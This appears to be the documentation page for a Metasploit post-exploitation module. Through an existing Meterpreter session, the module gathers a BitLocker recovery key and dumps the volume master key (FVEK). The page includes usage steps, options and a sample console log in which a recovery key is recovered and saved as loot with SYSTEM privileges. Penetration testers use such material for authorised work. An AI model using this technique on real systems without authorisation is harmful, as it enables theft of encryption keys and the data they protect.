Kenneth LaCroix
63 lines
2.0 KiB
Markdown
63 lines
2.0 KiB
Markdown
## Vulnerable Application
|
|
|
|
This module enumerates ways to decrypt a Bitlocker volume and if a recovery key is stored locally or can be generated, dump the Bitlocker master key (FVEK)
|
|
|
|
## Verification Steps
|
|
1. Start msfconsole
|
|
2. Get meterpreter session
|
|
3. Do: ```use post/windows/gather/bitlocker_fvek```
|
|
4. Do: ```set SESSION <session id>```
|
|
5. Do: ```set DRIVE_LETTER <letter>```
|
|
6. Do: ```run```
|
|
|
|
## Options
|
|
|
|
**DRIVE_LETTER**
|
|
|
|
Dump information from the DRIVE_LETTER encrypted with Bitlocker.
|
|
|
|
**RECOVERY_KEY**
|
|
|
|
Use the recovery key provided to decrypt the Bitlocker master key (FVEK).
|
|
|
|
**SESSION**
|
|
|
|
The session to run this module on.
|
|
|
|
## Scenarios
|
|
|
|
### Windows 7 (6.1 Build 7601, Service Pack 1).
|
|
|
|
```
|
|
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.6:49184) at 2019-12-11 12:51:59 -0700
|
|
|
|
msf > use post/windows/gather/bitlocker_fvek
|
|
msf post(windows/gather/bitlocker_fvek) > set SESSION 1
|
|
SESSION => 1
|
|
msf post(windows/gather/bitlocker_fvek) > set DRIVE_LETTER c
|
|
DRIVE_LETTER => c
|
|
msf post(windows/gather/bitlocker_fvek) > run
|
|
|
|
[+] Successfuly opened Disk 0
|
|
[*] Trying to gather a recovery key
|
|
[+] Recovery key found : 579744-627517-149402-208362-055022-542289-041470-364089
|
|
[*] The recovery key derivation usually take 20 seconds...
|
|
[+] Successfully extract FVEK in /root/.msf4/loot/20191211125311_default_192.168.1.6_windows.file_437952.bin
|
|
[+] This hard drive could later be decrypted using : dislocker -k <key_file> ...
|
|
[*] Post Successful
|
|
[*] Post module execution completed
|
|
msf post(windows/gather/bitlocker_fvek) > sessions 1
|
|
[*] Starting interaction with 1...
|
|
|
|
meterpreter > sysinfo
|
|
Computer : TEST-PC
|
|
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
|
|
Architecture : x86
|
|
System Language : en_US
|
|
Domain : DOMAIN
|
|
Logged On Users : 1
|
|
Meterpreter : x86/windows
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
```
|